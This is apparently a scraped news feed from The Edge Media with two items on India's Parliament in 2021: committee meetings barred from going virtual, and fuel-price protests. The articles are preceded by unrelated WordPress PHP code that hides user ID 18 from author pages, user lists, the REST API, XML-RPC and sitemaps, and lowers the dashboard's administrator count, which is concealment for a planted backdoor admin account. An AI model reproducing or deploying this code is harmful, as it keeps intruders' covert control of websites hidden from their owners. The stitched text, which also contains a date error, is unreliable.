add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lok Sabha speaker and the Vice President block calls for Parliamentary panel virtual meets appeared first on The Edge Media.
]]>A note from the Rajya Sabha secretariat stated that both the officers suggested that the meetings should take place physically, once the situation returns back to normal or it will take for an amendment in the rules. The move made the opposition parties upset as they questioned on how the construction of a new parliament house is considered as an essential activity but overseeing the legislative council is not.
Congress MP Jairam Ramesh tweeted,”I am not surprised. In spite of repeated requests for almost a year, virtual meetings of Standing Committees have been inexplicably disallowed. The PM has all his meetings virtually, but 30 odd MPs cannot. Nowhere in the world has Parliament run away from its duties like in India”.
I am not surprised. In spite of repeated requests for almost a year, virtual meetings of Standing Committees have been inexplicably disallowed. The PM has all his meetings virtually, but 30 odd MPs cannot. Nowhere in the world has Parliament run away from its duties like in India https://t.co/AZnw9Ilyvl
— Jairam Ramesh (@Jairam_Ramesh) May 14, 2021
Every other country across the world has now given permission to its legislature to function virtually through video conferencing.
The post Lok Sabha speaker and the Vice President block calls for Parliamentary panel virtual meets appeared first on The Edge Media.
]]>The post Opposition uproar, both houses adjourned till tomorrow appeared first on The Edge Media.
]]>On the second day of the second phase of the budget session of Parliament, the opposition created an uproar over the rising prices of petrol and diesel. After which the proceedings of both the houses were adjourned till Wednesday. Please tell that the functioning of Parliament has started at normal time from Tuesday. Now the proceedings of both the houses will continue from 11 am and 6 pm as scheduled earlier. Due to the Corona epidemic, the Rajya Sabha proceeded from 9 am to 2 pm from the monsoon session last year. At the same time, the proceedings of the Lok Sabha ran from 4 pm to 9 pm. The second phase of the budget session has started from Monday, March 8. During this time, there is a lot of ruckus about the inflation of petrol, diesel and cooking gas.
The proceedings of both the houses started at 11 am. On the second day of the second phase of the budget session, the Opposition created a ruckus in both houses of Parliament, raising the government for petrol, diesel and cooking gas inflation. Following the opposition uproar, both proceedings were adjourned till 12 noon. On the commencement of the proceedings of the House, the uproar of opposition started again, due to which the proceedings of both the houses were adjourned till two in the afternoon.
Let us tell you that the first phase of the budget session started with the address of President Ram Nath Kovind on 29 January and concluded on 29 February. The Union Budget was presented in Parliament on 1 February by Finance Minister Nirmala Sitharaman.
The post Opposition uproar, both houses adjourned till tomorrow appeared first on The Edge Media.
]]>